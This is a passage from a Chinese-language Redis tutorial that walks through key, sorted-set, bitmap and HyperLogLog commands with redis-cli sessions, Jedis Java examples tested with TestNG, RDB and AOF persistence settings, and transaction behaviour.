127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "l1"
127.0.0.1:6379> RANDOMKEY
"l1"
127.0.0.1:6379> RANDOMKEY
"set1"
127.0.0.1:6379> RANDOMKEY
"set4"

11.修改 key 的名称

  • RENAME key newkey
127.0.0.1:6379> SET k1 v1
OK
127.0.0.1:6379> GET k1
"v1"
127.0.0.1:6379> RENAME k1 kkkkk1
OK
127.0.0.1:6379> GET k1
(nil)
127.0.0.1:6379> GET kkkkk1
"v1"

12.仅当 newkey 不存在时,将 key 改名为 newkey

  • RENAMENX key newkey
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> renamenx k1 k2
(integer) 0
127.0.0.1:6379> get k1 
"v1"
127.0.0.1:6379> get k2
"v2"
127.0.0.1:6379> renamenx k1 k3
(integer) 1
127.0.0.1:6379> get k3
"v1"

13.返回 key 所储存的值的类型

  • TYPE key
127.0.0.1:6379> keys *
1) "kkkkk1"
2) "k3"
3) "set2"
4) "set5"
5) "L1"
6) "set1"
7) "k2"
8) "set4"
9) "l1"
127.0.0.1:6379> 
127.0.0.1:6379> TYPE k2
string
127.0.0.1:6379> TYPE l1
list
127.0.0.1:6379> TYPE set1
set

14.清空所有的key

  • FLUSHALL

谨慎操作,相当于MySQL中的删库

类型5:Zset有序集合的操作

  • Redis有序集合和集合一样也是string类型元素的集合,且不允许重复的成员
  • 它用来保存需要排序的数据,例如排行榜,一个班的语文成绩,一个公司的员工工资,一个论坛的帖子等。
  • 有序集合中,每个元素都带有score(权重),以此来对元素进行排序
  • 它有三个元素:key、member和score。以语文成绩为例,key是考试名称(期中考试、期末考试等),member是学生名字,score是成绩

1.向有序集合添加一个或多个成员,或者更新已存在成员的分数

  • ZADD key score1 member1 [score2 member2]
127.0.0.1:6379> ZADD pv_zset 80 page1.html 100 page2.html 160 page3.html
(integer) 3

2.获取有序集合的成员数

  • ZCARD key
127.0.0.1:6379> ZCARD pv_zset
(integer) 3

3.计算在有序集合中指定区间分数的成员数

  • ZCOUNT key min max
# 80  page1.html 
# 100 page2.html 
# 160 page3.html
# 60 ~ 110 之间  2个
127.0.0.1:6379> ZCOUNT pv_zset 60 110
(integer) 2

4.有序集合中对指定成员的分数加上增量 increment

  • ZINCRBY key increment member
127.0.0.1:6379> ZINCRBY pv_zset 10 page1.html
"90"

5.计算给定的一个或多个有序集的交集并将结果集存储在新的有序集合 key 中

  • ZINTERSTORE destination numkeys key [key …]
127.0.0.1:6379> ZADD pv_zset1 10 page1.html 20 page2.html
(integer) 2
127.0.0.1:6379> ZADD pv_zset2 5 page1.html 10 page2.html
(integer) 2
127.0.0.1:6379> ZINTERSTORE pv_zset_result 2 pv_zset1 pv_zset2
(integer) 2

6.通过索引区间返回有序集合指定区间内的成员

  • ZRANGE key start stop [WITHSCORES]
127.0.0.1:6379> ZRANGE pv_zset_result 0 -1 WITHSCORES
1) "page1.html"
2) "15"
3) "page2.html"
4) "30"

7.通过分数返回有序集合指定区间内的成员

  • ZRANGEBYSCORE key min max [WITHSCORES] [LIMIT]
127.0.0.1:6379> ZRANGE pv_zset 0 -1 WITHSCORES
1) "page1.html"
2) "90"
3) "page2.html"
4) "100"
5) "page3.html"
6) "160"
127.0.0.1:6379> ZRANGEBYSCORE pv_zset 95 180
1) "page2.html"
2) "page3.html"

8.返回有序集合中指定成员的索引

  • ZRANK key member
127.0.0.1:6379> ZRANK pv_zset page1.html
(integer) 0
127.0.0.1:6379> ZRANK pv_zset page3.html
(integer) 2

9.移除有序集合中的一个或多个成员

  • ZREM key member [member …]
127.0.0.1:6379> ZRANGE pv_zset 0 -1 WITHSCORES
1) "page1.html"
2) "90"
3) "page2.html"
4) "100"
5) "page3.html"
6) "160"
127.0.0.1:6379> ZREM pv_zset page1.html
(integer) 1
127.0.0.1:6379> ZRANGE pv_zset 0 -1 WITHSCORES
1) "page2.html"
2) "100"
3) "page3.html"
4) "160"

10.返回有序集中指定区间内的成员,通过索引,分数从高到低

  • ZREVRANGE key start stop [WITHSCORES]
127.0.0.1:6379> ZADD pv_zset 120 page1.html 140 page4.html 20 page5.html 300 page6.html
(integer) 4
127.0.0.1:6379> ZRANGE pv_zset 0 -1 WITHSCORES
 1) "page5.html"
 2) "20"
 3) "page2.html"
 4) "100"
 5) "page1.html"
 6) "120"
 7) "page4.html"
 8) "140"
 9) "page3.html"
10) "160"
11) "page6.html"
12) "300"
127.0.0.1:6379> ZREVRANGE pv_zset 0 -1
1) "page6.html"
2) "page3.html"
3) "page4.html"
4) "page1.html"
5) "page2.html"
6) "page5.html"

11.返回有序集合中指定成员的排名,有序集成员按分数值递减(从大到小)排序

  • ZREVRANK key member
# 排序包含0
127.0.0.1:6379> ZREVRANK pv_zset page6.html
(integer) 0
127.0.0.1:6379> ZREVRANK pv_zset page4.html
(integer) 2
127.0.0.1:6379> ZREVRANK pv_zset page5.html
(integer) 5

12.返回有序集中,成员的分数值

  • ZSCORE key member
127.0.0.1:6379> ZSCORE pv_zset page3.html
"160"
127.0.0.1:6379> ZSCORE pv_zset page5.html
"20"

对位图BitMaps操作

  • 计算机最小的存储单位是位bit,Bitmaps是针对位的操作的,相较于String、Hash、Set等存储方式更加节省空间
  • Bitmaps不是一种数据结构,操作是基于String结构的,一个String最大可以存储512M,那么一个Bitmaps则可以设置232个位
  • Bitmaps单独提供了一套命令,所以在Redis中使用Bitmaps和使用字符串的方法不太相同。可以把Bitmaps想象成一个以位为单位的数组,数组的每个单元只能存储0和1,数组的下标在Bitmaps中叫做偏移量
  • BitMaps 命令举例说明:将每个独立用户是否访问过网站存放在Bitmaps中, 将访问的用户记做1, 没有访问的用户记做0, 用偏移量作为用户的id

1.设置Bit值

  • SETBIT key offset value

setbit命令设置的vlaue只能是0或1两个值

127.0.0.1:6379> setbit unique:users:2022-09-12 1 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-12 2 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-12 3 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-12 4 0
(integer) 0
# unique:users:2022-09-12 -> 定义用户某日的标记
# 1,2,3,4可以是用户的UID等标记
# 1 代表用户访问 0代表未访问

2.获取Bit值

  • GETBIT key offset
127.0.0.1:6379> getbit unique:users:2022-09-12 3
(integer) 1
127.0.0.1:6379> getbit unique:users:2022-09-12 4
(integer) 0

3.获取Bitmaps指定范围值为1的个数

  • BITCOUNT key [start end]

假设数据库里非常多的数据,统计多少用户当日访问过的记录,则只要统计出为1的总数

127.0.0.1:6379> bitcount unique:users:2022-09-12
(integer) 3

4.Bitmaps间的运算

  • BITOP operation destkey key [key, …]
127.0.0.1:6379> setbit unique:users:2022-09-13 1 0
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-13 2 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-13 3 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-13 4 1
(integer) 0
# 2022-09-12 1 1
# 2022-09-12 2 1  **
# 2022-09-12 3 1  **
# 2022-09-12 4 0

# 2022-09-13 1 0
# 2022-09-13 2 1  **
# 2022-09-13 3 1  **
# 2022-09-13 4 1
# 统计出连续两天都为1的结果(2)
127.0.0.1:6379> bitop and unique:users:and:2022-09-12and13 unique:users:2022-09-12 unique:users:2022-09-13
(integer) 1
127.0.0.1:6379> bitcount unique:users:and:2022-09-12and13
(integer) 2
# 统计出连续两天中任意一天有1的结果(4)
127.0.0.1:6379> bitop or unique:users:or:2022-09-12or13 unique:users:2022-09-12 unique:users:2022-09-13
(integer) 1
127.0.0.1:6379> bitcount unique:users:or:2022-09-12or13
(integer) 4

对HyperLogLog结构的操作

HyperLogLog常用于大数据量的统计,例如页面访问量统计或者用户访问量统计

​ Redis集成的HyperLogLog使用语法主要有pfadd和pfcount,顾名思义,一个是来添加数据,一个是来统计的。为什么用pf?是因为HyperLogLog 这个数据结构的发明人 是Philippe Flajolet教授 ,所以用发明人的英文缩写

  • pfadd
  • pfcount
    • pfadd和pfcount常用于统计
127.0.0.1:6379> pfadd uv user1
(integer) 1
127.0.0.1:6379> keys *
1) "uv"
127.0.0.1:6379> pfcount uv
(integer) 1
127.0.0.1:6379> pfadd uv user2
(integer) 1
127.0.0.1:6379> pfadd uv user3
(integer) 1
127.0.0.1:6379> pfadd uv user4
(integer) 1
127.0.0.1:6379> pfcount uv
(integer) 4
127.0.0.1:6379> pfadd uv user5 user6 user7 user8 user9 user10
(integer) 1
127.0.0.1:6379> pfcount uv
(integer) 10
127.0.0.1:6379> pfadd page1 user1 user2 user3 user4 user5
(integer) 1
127.0.0.1:6379> pfadd page2 user1 user2 user3 user6 user7
(integer) 1
127.0.0.1:6379> pfmerge page1+page2 page1 page2
OK
127.0.0.1:6379> pfcount page1+page2
(integer) 7

HyperLogLog为什么适合做大量数据的统计

  • Redis HyperLogLog 是用来做基数统计的算法,HyperLogLog 的优点是,在输入元素的数量或者体积非常非常大时,计算基数所需的空间总是固定的、并且是很小的。
  • 在 Redis 里面,每个 HyperLogLog 键只需要花费 12 KB 内存,就可以计算接近 264 个不同元素的基数。这和计算基数时,元素越多耗费内存就越多的集合形成鲜明对比。
  • 因为 HyperLogLog 只会根据输入元素来计算基数,而不会储存输入元素本身,所以 HyperLogLog 不能像集合那样,返回输入的各个元素。

什么是基数?

比如:数据集{1, 3, 5, 7, 5, 7, 8},那么这个数据集的基数集{1, 3, 5, 7, 8},基数为5(不重复元素的个数)。基数估计就是在误差可接受的范围内,快速计算基数

[第5章]-Redis的java api数据开发操作

Redis不仅可以通过命令行进行操作,也可以通过JavaAPI操作,通过使用Java API来对Redis数据库中的各种数据类型操作

开发环境准备

创建maven工程配置pom依赖

groupId

  • cn.wangting

artifactId

  • redis_op

pom配置文件

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>cn.wangting</groupId>
    <artifactId>redis_op</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>redis.clients</groupId>
            <artifactId>jedis</artifactId>
            <version>2.9.0</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.testng</groupId>
            <artifactId>testng</artifactId>
            <version>6.14.3</version>
            <scope>test</scope>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.0</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <encoding>UTF-8</encoding>
                    <!--    <verbal>true</verbal>-->
                </configuration>
            </plugin>
        </plugins>
    </build>
    
</project>

创建package和实验class

在test目录创建 cn.wangting.redis.api_test 包结构
创建RedisTest类

因为后续测试需要频繁用到Redis连接,所以先创建一个JedisPool用于获取Redis连接。此处,我们基于TestNG来测试各类的API。使用@BeforeTest在执行测试用例前,创建Redis连接池。使用@AfterTest在执行测试用例后,关闭连接池。

实现步骤:

  1. 创建JedisPoolConfig配置对象,指定最大空闲连接为10个、最大等待时间为3000毫秒、最大连接数为50、最小空闲连接5个

  2. 创建JedisPool

  3. 使用@Test注解,编写测试用例,查看Redis中所有的key

    • 从Redis连接池获取Redis连接
    • 调用keys方法获取所有的key
    • 遍历打印所有key

RedisTest

package cn.wangting.redis.api_test;
import org.junit.After;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import java.util.List;
import java.util.Set;


public class RedisTest {
    
    

    private JedisPool jedisPool;
    private JedisPoolConfig config;

    @BeforeTest
    public void redisConnectionPool(){
    
    
        config = new JedisPoolConfig();
        config.setMaxIdle(10);
        config.setMaxWaitMillis(3000);
        config.setMaxTotal(50);
        config.setMinIdle(5);
        jedisPool = new JedisPool(config, "8.130.25.36", 6379);
    }

    // 功能测试
    public static void main(String[] args) {
    
    
        System.out.println("hello redis!");
    }

    

    @AfterTest
    public void closePool(){
    
    
        jedisPool.close();
    }

}

运行调试,如已经控制台输出hello redis!则环境准备完毕

API操作string类型数据

通过API操作实现如下需求:

  1. 添加一个string类型数据,key为pv,用于保存pv的值,初始值为0

  2. 查询该key对应的数据

  3. 修改pv为1000

  4. 实现整形数据原子自增操作 +1

  5. 实现整形该数据原子自增操作 +1000

当前命令行redis情况

[root@wangting ~]# redis-cli 
127.0.0.1:6379> keys *
1) "a"
2) "c"
127.0.0.1:6379> 

string操作代码RedisTest

package cn.wangting.redis.api_test;
import org.junit.After;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import java.util.List;
import java.util.Set;


public class RedisTest {
    
    

    private JedisPool jedisPool;
    private JedisPoolConfig config;

    @BeforeTest
    public void redisConnectionPool(){
    
    
        config = new JedisPoolConfig();
        config.setMaxIdle(10);
        config.setMaxWaitMillis(3000);
        config.setMaxTotal(50);
        config.setMinIdle(5);
        jedisPool = new JedisPool(config, "8.130.25.36", 6379);
    }

    // 功能测试
    @Test
    public void stringOpTest() {
    
    
        Jedis connection = jedisPool.getResource();
        // 1.  添加数据
        connection.set("pv", "0");

        // 2.  查询数据
        System.out.println("原始pv为:" + connection.get("pv"));

        // 3.  修改数据
        connection.set("pv", "1000");
        System.out.println("修改pv为:" + connection.get("pv"));

        // 4.  实现整形数据原子自增操作 +1
        connection.incr("pv");
        System.out.println("pv自增1:" + connection.get("pv"));

        // 5.  实现整形该数据原子自增操作 +1000
        connection.incrBy("pv", 1000);
        System.out.println("pv自增1000:" + connection.get("pv"));

    }
    
    @AfterTest
    public void closePool(){
    
    
        jedisPool.close();
    }

}

[注意]:为控制篇幅,后续只贴出部分@Test代码块

控制台输出:

原始pv为:0
修改pv为:1000
pv自增1:1001
pv自增1000:2001

===============================================
Default Suite
Total tests run: 1, Failures: 0, Skips: 0
===============================================

再次命令行查看redis情况

127.0.0.1:6379> keys *
1) "a"
2) "pv"
3) "c"
127.0.0.1:6379> get pv
"2001"

API操作hash类型数据

通过API操作实现如下需求:

  1. 往Hash结构中添加以下商品库存

    • iphone11 => 10000
    • macbookpro => 9000
  2. 获取Hash中所有的商品

  3. 新增3000个macbookpro库存

  4. 删除整个Hash的数据

命令行查看redis情况

127.0.0.1:6379> keys *
(empty array)
@Test
public void hashOpTest() {
    
    
    Jedis connection = jedisPool.getResource();

    // 1.  往Hash结构中添加以下商品库存
    connection.hset("goodsStore", "iphone11", "10000");
    connection.hset("goodsStore", "macbookpro", "9000");

    // 2.  获取Hash中所有的商品
    Map<String, String> keyValues = connection.hgetAll("goodsStore");
    for (String s : keyValues.keySet()) {
    
    
        System.out.println(s + " => " + keyValues.get(s));
    }
}

命令行查看redis情况

127.0.0.1:6379> keys *
1) "goodsStore"
127.0.0.1:6379> HGETALL goodsStore
1) "iphone11"
2) "10000"
3) "macbookpro"
4) "9000"

API操作list类型数据

通过API操作实现如下需求:

  1. 向list的左边插入以下三个手机号码:13844556677、13644556677、13444556677

  2. 从右边移除一个手机号码

  3. 获取list所有的值

命令行查看redis情况

127.0.0.1:6379> keys *
1) "goodsStore"
127.0.0.1:6379> 
@Test
public void listOpTest() {
    
    
    Jedis connection = jedisPool.getResource();
    // 1.  向list的左边插入以下三个手机号码:13844556677、13644556677、13444556677
    connection.lpush("telephone", "13844556677", "13644556677", "13444556677");

    // 2.  从右边移除一个手机号码
    connection.rpop("telephone");

    // 3.  获取list所有的值
    List<String> telList = connection.lrange("telephone", 0, -1);
    for (String tel : telList) {
    
    
        System.out.print(tel + " ");
    }
}

命令行查看redis情况

127.0.0.1:6379> keys *
1) "goodsStore"
2) "telephone"
127.0.0.1:6379> LRANGE telephone 0 -1
1) "13444556677"
2) "13644556677"
127.0.0.1:6379> 

API操作set类型数据

通过API操作实现如下需求:

  1. 往一个set中添加页面 page1 的uv,用户user1访问一次该页面

  2. user2访问一次该页面

  3. user1再次访问一次该页面

  4. 最后获取 page1的uv值

命令行查看redis情况

127.0.0.1:6379> keys *
1) "goodsStore"
2) "telephone"
127.0.0.1:6379> 
@Test
public void setOpTest() {
    
    
    Jedis connection = jedisPool.getResource();

    // 1.  往一个set中添加页面 page1 的uv,用户user1访问一次该页面
    connection.sadd("page1", "user1");

    // 2.  user2访问一次该页面
    connection.sadd("page1", "user2");

    // 3.  user1再次访问一次该页面
    connection.sadd("page1", "user1");

    // 4.  最后获取 page1的uv值
    Long uv = connection.scard("page1");
    System.out.println("page1页面的UV为:" + uv);
}

命令行查看redis情况

127.0.0.1:6379> keys *
1) "goodsStore"
2) "page1"
3) "telephone"
127.0.0.1:6379> SMEMBERS page1
1) "user2"
2) "user1"
127.0.0.1:6379> 

完整代码:

package cn.wangting.redis.api_test;
import org.junit.After;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import java.util.List;
import java.util.Map;
import java.util.Set;

public class RedisTest {
    
    

    private JedisPool jedisPool;
    private JedisPoolConfig config;

    @BeforeTest
    public void redisConnectionPool(){
    
    
        config = new JedisPoolConfig();
        config.setMaxIdle(10);
        config.setMaxWaitMillis(3000);
        config.setMaxTotal(50);
        config.setMinIdle(5);
        jedisPool = new JedisPool(config, "8.130.25.36", 6379);
    }

    // 功能测试
    @Test
    public void stringOpTest() {
    
    
        Jedis connection = jedisPool.getResource();
        // 1.  添加一个string类型数据,key为pv,初始值为0
        connection.set("pv", "0");

        // 2.  查询该key对应的数据
        System.out.println("原始pv为:" + connection.get("pv"));

        // 3.  修改pv为1000
        connection.set("pv", "1000");
        System.out.println("修改pv为:" + connection.get("pv"));

        // 4.  实现整形数据原子自增操作 +1
        connection.incr("pv");
        System.out.println("pv自增1:" + connection.get("pv"));

        // 5.  实现整形该数据原子自增操作 +1000
        connection.incrBy("pv", 1000);
        System.out.println("pv自增1000:" + connection.get("pv"));
    }

    @Test
    public void hashOpTest() {
    
    
        Jedis connection = jedisPool.getResource();

        // 1.  往Hash结构中添加以下商品库存
        connection.hset("goodsStore", "iphone11", "10000");
        connection.hset("goodsStore", "macbookpro", "9000");

        // 2.  获取Hash中所有的商品
        Map<String, String> keyValues = connection.hgetAll("goodsStore");
        for (String s : keyValues.keySet()) {
    
    
            System.out.println(s + " => " + keyValues.get(s));
        }
    }

    @Test
    public void listOpTest() {
    
    
        Jedis connection = jedisPool.getResource();
        // 1.  向list的左边插入以下三个手机号码:13844556677、13644556677、13444556677
        connection.lpush("telephone", "13844556677", "13644556677", "13444556677");

        // 2.  从右边移除一个手机号码
        connection.rpop("telephone");

        // 3.  获取list所有的值
        List<String> telList = connection.lrange("telephone", 0, -1);
        for (String tel : telList) {
    
    
            System.out.print(tel + " ");
        }
    }

    @Test
    public void setOpTest() {
    
    
        Jedis connection = jedisPool.getResource();

        // 1.  往一个set中添加页面 page1 的uv,用户user1访问一次该页面
        connection.sadd("page1", "user1");

        // 2.  user2访问一次该页面
        connection.sadd("page1", "user2");

        // 3.  user1再次访问一次该页面
        connection.sadd("page1", "user1");

        // 4.  最后获取 page1的uv值
        Long uv = connection.scard("page1");
        System.out.println("page1页面的UV为:" + uv);
    }
    
    @AfterTest
    public void closePool(){
    
    
        jedisPool.close();
    }
}

[第6章]-Redis的数据持久化

RDB持久化

RDB持久化介绍

Redis会定期保存数据快照至一个rbd文件中,并在启动时自动加载rdb文件,恢复之前保存的数据。可以在配置文件中配置Redis进行快照保存的时机:

# save [seconds] [changes]
# 意为在seconds秒内如果发生了changes次数据修改,则进行一次RDB快照保存

save 60 100
# 会让Redis每60秒检查一次数据变更情况,如果发生了100次或以上的数据变更,则进行RDB快照保存
  • 可以配置多条save指令,让Redis执行多级的快照保存策略

  • Redis默认开启RDB快照

  • 也可以通过SAVE或者BGSAVE命令手动触发RDB快照保存

  • SAVE 和 BGSAVE 两个命令都会调用 rdbSave 函数,但它们调用的方式各有不同

    • SAVE 直接调用 rdbSave ,阻塞 Redis 主进程,直到保存完成为止。在主进程阻塞期间,服务器不能处理客户端的任何请求
    • BGSAVE 则 fork 出一个子进程,子进程负责调用 rdbSave ,并在保存完成之后向主进程发送信号,通知保存已完成。 Redis 服务器在BGSAVE 执行期间仍然可以继续处理客户端的请求

RDB持久化优点

  1. 对性能影响最小,Redis在保存RDB快照时会fork出子进程进行,几乎不影响Redis处理客户端请求的效率。

  2. 每次快照会生成一个完整的数据快照文件,所以可以辅以其他手段保存多个时间点的快照(例如把每天0点的快照备份至其他存储媒介中),作为非常可靠的灾难恢复手段。

  3. 使用RDB文件进行数据恢复比使用AOF要快很多

RDB持久化缺点

  1. 快照是定期生成的,所以在Redis crash时或多或少会丢失一部分数据

  2. 如果数据集非常大且CPU不够强(比如单核CPU),Redis在fork子进程时可能会消耗相对较长的时间,影响Redis对外提供服务的能力

RDB持久化配置

查看redis的配置文件redis.conf

[root@wangting redis]# vim redis.conf
dir /var/lib/redis
save 900 1
save 300 10
save 60 10000

可以看到redis配置文件默认配置了三个存储机制

备份文件:

[root@wangting redis]# ll /root/redis/data/
total 4
-rw-r--r-- 1 redis redis 215 Sep 13 14:41 dump.rdb

AOF持久化

AOF持久化介绍

采用AOF持久方式时,Redis会把每一个写请求都记录在一个日志文件里。在Redis重启时,会把AOF文件中记录的所有写操作顺序执行一遍,确保数据恢复到最新

AOF持久化优点

  1. 最安全,在启用appendfsync为always时,任何已写入的数据都不会丢失,使用在启用appendfsync everysec也至多只会丢失1秒的数据

  2. AOF文件在发生断电等问题时也不会损坏,即使出现了某条日志只写入了一半的情况,也可以使用redis-check-aof工具轻松修复

  3. AOF文件易读,可修改,在进行某些错误的数据清除操作后,只要AOF文件没有rewrite,就可以把AOF文件备份出来,把错误的命令删除,然后恢复数据。

AOF持久化缺点

  1. AOF文件通常比RDB文件更大

  2. 性能消耗比RDB高

  3. 数据恢复速度比RDB慢

Redis的数据持久化工作本身就会带来延迟,需要根据数据的安全级别和性能要求制定合理的持久化策略:

  • AOF + fsync always的设置虽然能够绝对确保数据安全,但每个操作都会触发一次fsync,会对Redis的性能有比较明显的影响

  • AOF + fsync every second是比较好的折中方案,每秒fsync一次

  • AOF + fsync never会提供AOF持久化方案下的最优性能

使用RDB持久化通常会提供比使用AOF更高的性能,但需要注意RDB的策略配置

AOF持久化开启

redis默认开启了RDB,但AOF默认是关闭的,如要自行开启功能,配置文件进行如下配置:

appendonly yes

AOF持久化配置

appendfilename "appendonly.aof"
appendfsync everysec

AOF提供了三种fsync配置:always/everysec/no,通过配置项[appendfsync]指定:

  1. appendfsync no:不进行fsync,将flush文件的时机交给OS决定,速度最快

  2. appendfsync always:每写入一条日志就进行一次fsync操作,数据安全性最高,但速度最慢

  3. appendfsync everysec:折中的做法,交由后台线程每秒fsync一次

配置完后重新启动redis

[root@wangting redis]# redis-cli 
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> set k3 v3
OK
127.0.0.1:6379> exit

查看appendonly.aof文件

[root@wangting redis]# ll /root/redis/data
total 8
-rw-r--r-- 1 redis redis 110 Sep 13 15:40 appendonly.aof
-rw-r--r-- 1 redis redis 118 Sep 13 15:40 dump.rdb
[root@wangting redis]# cat appendonly.aof 
*2
$6
SELECT
$1
0
*3
$3
set
$2
k1
$2
v1
*3
$3
set
$2
k2
$2
v2
*3
$3
set
$2
k3
$2
v3

不同于dump.rdb文件,appendonly.aof可以直接查看文件内容

AOF持久化rewrite

​ 随着AOF不断地记录写操作日志,因为所有的写操作都会记录,所以必定会出现一些无用的日志。大量无用的日志会让AOF文件过大,也会让数据恢复的时间过长。不过Redis提供了AOF rewrite功能,可以重写AOF文件,只保留能够把数据恢复到最新状态的最小写操作集

AOF rewrite可以通过BGREWRITEAOF命令触发,也可以配置Redis定期自动进行:

auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
  • Redis在每次AOF rewrite时,会记录完成rewrite后的AOF日志大小,当AOF日志大小在该基础上增长了100%后,自动进行AOF rewrite

  • auto-aof-rewrite-min-size最开始的AOF文件必须要触发这个文件才触发,后面的每次重写就不会根据这个变量了。该变量仅初始化启动Redis有效。

Redis的fork操作

​ 每一次RDB快照和AOF Rewrite都需要Redis主进程进行fork操作。fork操作本身可能会产生较高的耗时,与CPU和Redis占用的内存大小有关。根据具体的情况合理配置RDB快照和AOF Rewrite时机,避免过于频繁的fork带来的延迟。

​ Redis在fork子进程时需要将内存分页表拷贝至子进程,以占用了24GB内存的Redis实例为例,共需要拷贝48MB的数据。

[第7章]-Redis的高级使用

Redis事务

Redis事务简介

​ Redis 事务的本质是一组命令的集合。事务支持一次执行多个命令,一个事务中所有命令都会被序列化。在事务执行过程,会按照顺序串行化执行队列中的命令,其他客户端提交的命令请求不会插入到事务执行命令序列中。

Redis事务就是一次性、顺序性、排他性的执行一个队列中的一系列命令

  • Redis事务没有隔离级别的概念
    • 批量操作在发送 EXEC 命令前被放入队列缓存,并不会被实际执行,也就不存在事务内的查询要看到事务里的更新,事务外查询不能看到。
  • Redis不保证原子性
    • Redis中,单条命令是原子性执行的,但事务不保证原子性,且没有回滚。事务中任意命令执行失败,其余的命令仍会被执行。

一个事务从开始到执行会经历以下三个阶段:

  • 第一阶段:开始事务

  • 第二阶段:命令入队

  • 第三阶段、执行事务

Redis事务相关命令:

  • MULTI

开启事务,redis会将后续的命令逐个放入队列中,然后使用EXEC命令来原子化执行这个命令队列

  • EXEC

执行事务中的所有操作命令

  • DISCARD

取消事务,放弃执行事务块中的所有命令

  • WATCH

监视一个或多个key,如果事务在执行前,这个key(或多个key)被其他命令修改,则事务被中断,不会执行事务中的任何命令

  • UNWATCH

取消WATCH对所有key的监视

Redis事务操作
  • 开启事务操作
# MULTI开始一个事务:给k1、k2分别赋值,在事务中修改k1、k2,执行事务后,查看k1、k2值都被修改
127.0.0.1:6379> FLUSHALL
OK
127.0.0.1:6379> keys *
(empty array)
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> multi
OK
127.0.0.1:6379(TX)> set k1 11
QUEUED
127.0.0.1:6379(TX)> set k2 22
QUEUED
127.0.0.1:6379(TX)> exec
1) OK
2) OK
127.0.0.1:6379> get k1
"11"
127.0.0.1:6379> get k2
"22"
127.0.0.1:6379> 
  • 事务失败处理语法报错
# 事务失败处理:语法错误(编译器错误),在开启事务后,修改k1值为11,k2值为22,但k2语法错误,最终导致事务提交失败,k1、k2保留原值
127.0.0.1:6379> FLUSHDB
OK
127.0.0.1:6379> keys *
(empty array)
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> multi
OK
127.0.0.1:6379(TX)> set k1 111
QUEUED
127.0.0.1:6379(TX)> settt k2 222
(error) ERR unknown command `settt`, with args beginning with: `k2`, `222`, 
127.0.0.1:6379(TX)> exec
(error) EXECABORT Transaction discarded because of previous errors.
127.0.0.1:6379> get k1
"v1"
127.0.0.1:6379> get k2
"v2"
127.0.0.1:6379> 

可以看到结果为开启事务后,有语法错误,命令不存在报错,则最后k1,k2修改数据的事务操作失败,k1与k2均为原来的值。命令入QUEUED队列前就已经进行检测。

  • 事务运行时失败处理类型报错
127.0.0.1:6379> flushdb
OK
127.0.0.1:6379> keys *
(empty array)
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> multi
OK
127.0.0.1:6379(TX)> set k1 v111
QUEUED
127.0.0.1:6379(TX)> lpush k2 v222
QUEUED
127.0.0.1:6379(TX)> exec
1) OK
2) (error) WRONGTYPE Operation against a key holding the wrong kind of value
127.0.0.1:6379> get k1
"v111"
127.0.0.1:6379> get k2
"v2"

Redis类型错误(运行时错误),在开启事务后,修改k1值为11,k2值为22,但将k2的类型作为List,在运行时检测类型错误,最终导致事务提交失败,此时事务并没有回滚,而是跳过错误命令继续执行, 结果k1值改变、k2保留原值

  • 取消事务DISCARD
127.0.0.1:6379> multi
OK
127.0.0.1:6379(TX)> set k1 v1
QUEUED
127.0.0.1:6379(TX)> set k2 v2
QUEUED
127.0.0.1:6379(TX)> set k3 v3
QUEUED
127.0.0.1:6379(TX)> discard
OK
127.0.0.1:6379> get k1
(nil)
127.0.0.1:6379> keys *
(empty array)
Redis事务回滚不支持原因

​ 多数事务失败是由语法错误或者数据结构类型错误导致的,语法错误说明在命令入队前就进行检测的,而类型错误是在执行时检测的,Redis为提升性能而采用这种简单的事务,这是不同于关系型数据库的,特别要注意区分。Redis之所以保持这样简易的事务,完全是为了保证高并发下的核心问题——性能。

Redis过期策略

​ Redis是key-value数据库,可以设置Redis中缓存的key的过期时间。Redis的过期策略就是指当Redis中缓存的key过期了,Redis如何处理。
过期策略通常有以下三种:

  • 定时过期
    每个设置过期时间的key都需要创建一个定时器,到过期时间就会立即清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的CPU资源去处理过期的数据,从而影响缓存的响应时间和吞吐量。
  • 惰性过期
